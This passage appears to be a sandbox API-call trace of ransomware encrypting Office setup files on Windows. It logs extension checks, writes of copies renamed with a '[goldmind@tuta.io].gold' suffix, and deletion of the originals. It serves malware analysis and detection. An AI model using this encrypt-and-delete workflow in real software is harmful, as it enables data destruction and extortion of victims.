(hObject=0x200) returned 1 [0038.641] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.641] SetEndOfFile (hFile=0x1f8) returned 1 [0038.641] CloseHandle (hObject=0x1f8) returned 1 [0038.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.642] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString=".doc") returned 4 [0038.642] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString=".docx") returned 5 [0038.642] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0038.642] lstrlenW (lpString=".pdf") returned 4 [0038.642] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString=".xls") returned 4 [0038.642] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString=".xlsx") returned 5 [0038.642] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0038.642] lstrlenW (lpString=".ppt") returned 4 [0038.642] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString=".zip") returned 4 [0038.642] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.642] lstrlenW (lpString=".rar") returned 4 [0038.642] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString=".bz2") returned 4 [0038.642] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString=".7z") returned 3 [0038.642] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString=".dbf") returned 4 [0038.642] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString=".1cd") returned 4 [0038.642] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString=".jpg") returned 4 [0038.642] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.642] lstrlenW (lpString=".doc") returned 4 [0038.642] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString=".docx") returned 5 [0038.643] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0038.643] lstrlenW (lpString=".pdf") returned 4 [0038.643] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString=".xls") returned 4 [0038.643] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString=".xlsx") returned 5 [0038.643] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0038.643] lstrlenW (lpString=".ppt") returned 4 [0038.643] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.643] lstrlenW (lpString=".zip") returned 4 [0038.643] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.643] lstrlenW (lpString=".rar") returned 4 [0038.643] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString=".bz2") returned 4 [0038.643] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString=".7z") returned 3 [0038.643] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.643] lstrlenW (lpString=".dbf") returned 4 [0038.643] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.643] lstrlenW (lpString=".1cd") returned 4 [0038.643] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0038.643] lstrlenW (lpString=".jpg") returned 4 [0038.643] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.643] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.643] lstrlenW (lpString="Proof.XML") returned 9 [0038.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.643] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1458) returned 1 [0038.643] CloseHandle (hObject=0x1f8) returned 1 [0038.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0038.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.644] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.644] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0038.644] GetLastError () returned 0x0 [0038.644] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5b2, lpOverlapped=0x0) returned 1 [0038.645] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0038.646] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.646] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.646] SetEndOfFile (hFile=0x200) returned 1 [0038.646] CloseHandle (hObject=0x200) returned 1 [0038.647] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.647] SetEndOfFile (hFile=0x1f8) returned 1 [0038.647] CloseHandle (hObject=0x1f8) returned 1 [0038.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.648] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0038.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.648] lstrlenW (lpString=".doc") returned 4 [0038.648] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.648] lstrlenW (lpString=".docx") returned 5 [0038.648] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0038.648] lstrlenW (lpString=".pdf") returned 4 [0038.648] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.648] lstrlenW (lpString=".xls") returned 4 [0038.648] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.648] lstrlenW (lpString=".xlsx") returned 5 [0038.648] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0038.648] lstrlenW (lpString=".ppt") returned 4 [0038.648] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.648] lstrlenW (lpString=".zip") returned 4 [0038.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.649] lstrlenW (lpString=".rar") returned 4 [0038.649] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".bz2") returned 4 [0038.649] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".7z") returned 3 [0038.649] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".dbf") returned 4 [0038.649] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".1cd") returned 4 [0038.649] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".jpg") returned 4 [0038.649] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".doc") returned 4 [0038.649] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".docx") returned 5 [0038.649] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0038.649] lstrlenW (lpString=".pdf") returned 4 [0038.649] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".xls") returned 4 [0038.649] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".xlsx") returned 5 [0038.649] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0038.649] lstrlenW (lpString=".ppt") returned 4 [0038.649] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".zip") returned 4 [0038.649] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.649] lstrlenW (lpString=".rar") returned 4 [0038.649] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".bz2") returned 4 [0038.649] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString=".7z") returned 3 [0038.649] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".dbf") returned 4 [0038.649] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".1cd") returned 4 [0038.649] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0038.649] lstrlenW (lpString=".jpg") returned 4 [0038.649] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.649] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.649] lstrlenW (lpString="Proofing.XML") returned 12 [0038.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.650] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=811) returned 1 [0038.650] CloseHandle (hObject=0x1f8) returned 1 [0038.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0038.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.650] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.651] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0038.651] GetLastError () returned 0x0 [0038.651] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x32b, lpOverlapped=0x0) returned 1 [0038.652] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x330, lpOverlapped=0x0) returned 1 [0038.653] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.653] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.653] SetEndOfFile (hFile=0x200) returned 1 [0038.653] CloseHandle (hObject=0x200) returned 1 [0038.654] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.654] SetEndOfFile (hFile=0x1f8) returned 1 [0038.655] CloseHandle (hObject=0x1f8) returned 1 [0038.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.655] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0038.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.655] lstrlenW (lpString=".doc") returned 4 [0038.655] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.655] lstrlenW (lpString=".docx") returned 5 [0038.655] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0038.655] lstrlenW (lpString=".pdf") returned 4 [0038.655] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.655] lstrlenW (lpString=".xls") returned 4 [0038.655] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.655] lstrlenW (lpString=".xlsx") returned 5 [0038.655] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0038.656] lstrlenW (lpString=".ppt") returned 4 [0038.656] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".zip") returned 4 [0038.656] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.656] lstrlenW (lpString=".rar") returned 4 [0038.656] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".bz2") returned 4 [0038.656] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".7z") returned 3 [0038.656] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".dbf") returned 4 [0038.656] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".1cd") returned 4 [0038.656] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".jpg") returned 4 [0038.656] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".doc") returned 4 [0038.656] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".docx") returned 5 [0038.656] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0038.656] lstrlenW (lpString=".pdf") returned 4 [0038.656] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".xls") returned 4 [0038.656] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".xlsx") returned 5 [0038.656] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0038.656] lstrlenW (lpString=".ppt") returned 4 [0038.656] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".zip") returned 4 [0038.656] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.656] lstrlenW (lpString=".rar") returned 4 [0038.656] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".bz2") returned 4 [0038.656] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString=".7z") returned 3 [0038.656] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".dbf") returned 4 [0038.656] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".1cd") returned 4 [0038.656] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0038.656] lstrlenW (lpString=".jpg") returned 4 [0038.656] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.657] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.657] lstrlenW (lpString="SETUP.XML") returned 9 [0038.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.657] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=5884) returned 1 [0038.657] CloseHandle (hObject=0x1f8) returned 1 [0038.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0038.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.854] GetLastError () returned 0x0 [0038.854] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, 